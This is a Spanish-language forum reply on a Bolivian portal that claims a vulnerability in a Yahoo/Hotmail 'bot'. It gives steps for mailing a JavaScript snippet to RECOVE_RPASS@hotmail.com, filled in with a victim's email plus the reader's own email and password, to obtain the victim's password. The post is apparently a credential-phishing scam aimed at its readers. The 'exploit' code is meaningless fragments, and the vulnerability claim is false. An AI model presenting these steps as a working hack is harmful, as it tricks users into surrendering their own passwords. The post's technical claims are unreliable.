Inicio Autoridades Guía Web Nacional Datos de Bolivia Historia Mapas Imágenes Suscripción Foros
Foro: Responder mensaje
Fuente: Sitios Buscadores
Foro: Google vs Yahoo vs MSN-hotmail vs Apple
Re: Re: Re: Google vs Yahoo vs MSN-hotmail
CARLOS Hace 9 años
Existe una pequeña pero grave vulnerabilidad en el Bot que valida
los datos que llegan al servidor de yahoo y hotmail, es imposible
entrar y manipular dicho bot para que te mande los password que tu
quieras a tu correo, pero es posible forzarlo para que lo haga
mediante Javascript. de ese modo el bot es forzado a enviarte
el password que le pidas, ya que si le mandas el script desde
un correo de Yahoo o Hotmail, no tendra por que resistirse.
a continuacion los pasos:

1.- Entra a tu Correo

2.- Ve a redactar, ya que lo que haremos sera enviar un email

3.- en la parte que tienes que escribir el correo del destinario,
escribe la direccion del bot: RECOVE_RPASS@hotmail.com
4.- En asunto escribe:
5.- y en el cuerpo del mensaje debes poner el codigo Javascript,
con los datos modificados. el codigo es: (copia todo y cambia los datos)



var newcount = parseInt(count) + 1;
DeleteCookie('count')
SetCookie ('E L M A I L D E T U V I C T I M A)
return count
function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
function checkCount ( T U E M A I L) {
var count = GetCookie('count');
if (count == null) {
count= ( T U P A S S W O R D)
SetCookie('count', count, exp);

6.- Una vez listo dale enviar, e inmediatamente recibiras un mail
del Bot,con los datos que solicitaste. Esto es totalmente anonimo,
ya que el bot es solo una maquina que no graba ningun mail del
solicitante. por que piensa que es del mismisimo server de hotmail.
  FORO. A solicitud de varios usuarios, volvemos temporalmente a la modalidad sin registro.
Responder el mensaje
Nombre o Nick:
Asunto:
Contenido:
Máximo: 3000 caracteres
Control Anti SPAM : « Honra a tu padre y a tu madre »
Escriba la cuarta palabra:
 
COMENTARIO
No ofenda, No insulte. No utilice palabras denigrantes ni racistas.
Por favor sea amable y edificante. Gracias.
Nota: Si desea agregar enlaces, hágalo de la siguiente forma:
<url>www.mirabolivia.com</url>   www.mirabolivia.com
<url http://www.mirabolivia.com>Mira Bolivia</url>   Mira Bolivia
Puede combinar con html.
<img src="">
<b></b>
<url></url>
Servicios Mira Bolivia e-mail: contacto@mirabolivia.com Servicios Diseño Web Sistemas/Módulos Hosting Publicidad